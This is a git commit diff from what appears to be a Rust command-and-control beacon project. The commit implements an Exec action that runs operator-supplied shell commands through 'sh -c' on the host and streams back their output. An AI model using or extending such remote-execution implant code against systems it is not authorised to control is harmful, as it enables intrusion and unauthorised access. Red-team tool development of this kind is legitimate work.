feat: finished exec command

This commit is contained in:
Andrew Rioux 2025-02-24 20:20:34 -05:00
parent 5eb66c8d5d
commit 43866e1759
Signed by: andrew.rioux
GPG Key ID: 9B8BAC47C17ABB94
4 changed files with 52 additions and 3 deletions

View File

@ -46,6 +46,7 @@ macro_rules! define_actions_enum {
}
}
#[cfg(feature = "server")]
fn render_empty_internal(&self) -> AnyView {
match self {
$(

View File

@ -39,9 +39,50 @@ impl super::Action for Exec {
T: 'a + BeaconAdapter,
S: hyper_util::client::legacy::connect::Connect + Clone + Send + Sync + 'static
{
println!("Execute command {}", self.exec_cmd);
use std::process::Stdio;
Ok("Execute".to_string())
use tokio::{io::AsyncReadExt, process::Command};
let mut output: Vec<String> = Vec::new();
let mut cmd = Command::new("sh")
.arg("-c")
.arg(self.exec_cmd.clone())
.stdout(Stdio::piped())
.stderr(Stdio::piped())
.spawn()?;
let mut stdout = cmd.stdout.take().ok_or(BeaconError::ChildExecResourceNotFound)?;
let mut stderr = cmd.stderr.take().ok_or(BeaconError::ChildExecResourceNotFound)?;
let mut stdout_buffer = [0u8; 4096];
let mut stderr_buffer = [0u8; 4096];
loop {
tokio::select! {
amt = stdout.read(&mut stdout_buffer) => {
let str_out = match std::str::from_utf8(&stdout_buffer[..amt?]) {
Ok(v) => v.to_string(),
Err(_) => "(invalid UTF-8 chunk)".to_string()
};
output.push(str_out);
},
amt = stderr.read(&mut stderr_buffer) => {
let str_out = match std::str::from_utf8(&stderr_buffer[..amt?]) {
Ok(v) => v.to_string(),
Err(_) => "(invalid UTF-8 chunk)".to_string()
};
output.push(str_out);
},
_ = cmd.wait() => {
break;
}
}
}
Ok(output.join(""))
}
#[cfg(feature = "server")]

View File

@ -39,4 +39,6 @@ where
Hyper(#[from] hyper::Error),
#[error("serde json error")]
Json(#[from] serde_json::Error),
#[error("could not acquire child resources")]
ChildExecResourceNotFound,
}

View File

@ -315,9 +315,14 @@ where
};
let (ref mut s_guard, ref mut d_guard, ref mut i_guard) = *guard;
if close_attempts > 0 {
let socket = s_guard.get_mut::<Socket>(tcp_handle);
if socket.is_open() {
socket.close();
} else {
break;
}
}
let timestamp = Instant::now();